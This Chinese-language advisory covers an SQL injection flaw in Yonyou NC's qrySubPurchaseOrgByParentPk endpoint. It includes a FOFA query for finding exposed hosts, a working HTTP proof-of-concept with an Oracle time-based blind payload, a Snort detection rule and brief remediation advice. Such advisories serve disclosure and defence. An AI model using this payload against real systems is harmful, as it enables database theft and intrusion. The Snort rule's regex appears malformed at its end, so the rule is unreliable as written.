

用友NC qrySubPurchaseOrgByParentPk 存在SQL注入漏洞

用友NC qrySubPurchaseOrgByParentPk 存在SQL注入漏洞，攻击者通过恶意SQL语句绕过验证，窃取、篡改或删除数据库敏感数据，甚至获取服务器控制权限，导致数据泄露、业务瘫痪或进一步渗透内网。

影响版本

用友NC

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: app="用友-UFIDA-NC"

POC/EXP:

```
POST /ebvp/register/qrySubPurchaseOrgByParentPk HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded

pk_group=1' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('RDS',5) --
```



snort规则：

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (  
  msg:"Yonyou NC - Oracle SQL Injection in qrySubPurchaseOrgByParentPk";  
  flow:to_server,established;  
  content:"POST"; http_method;  
  content:"/ebvp/register/qrySubPurchaseOrgByParentPk"; http_uri;  
  content:"Content-Type: application/x-www-form-urlencoded";  
  http_client_header;  
  pcre:"/pk_group=[^&]*'[\s\S]*?AND\s+1=DBMS_PIPE\.RECEIVE_MESSAGE\(\/i";  
  metadata:service http;  
  metadata:affected_product "用友NC";  
  metadata:attack_type "Oracle Time-Based Blind SQL Injection";  
  metadata:severity "critical";  
  reference:url,www.example.com/vulndb/yonyou-nc-oracle-sqli;  
  classtype:sql-injection;  
  sid:1000111;  
  rev:1;  
  priority:1;  
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。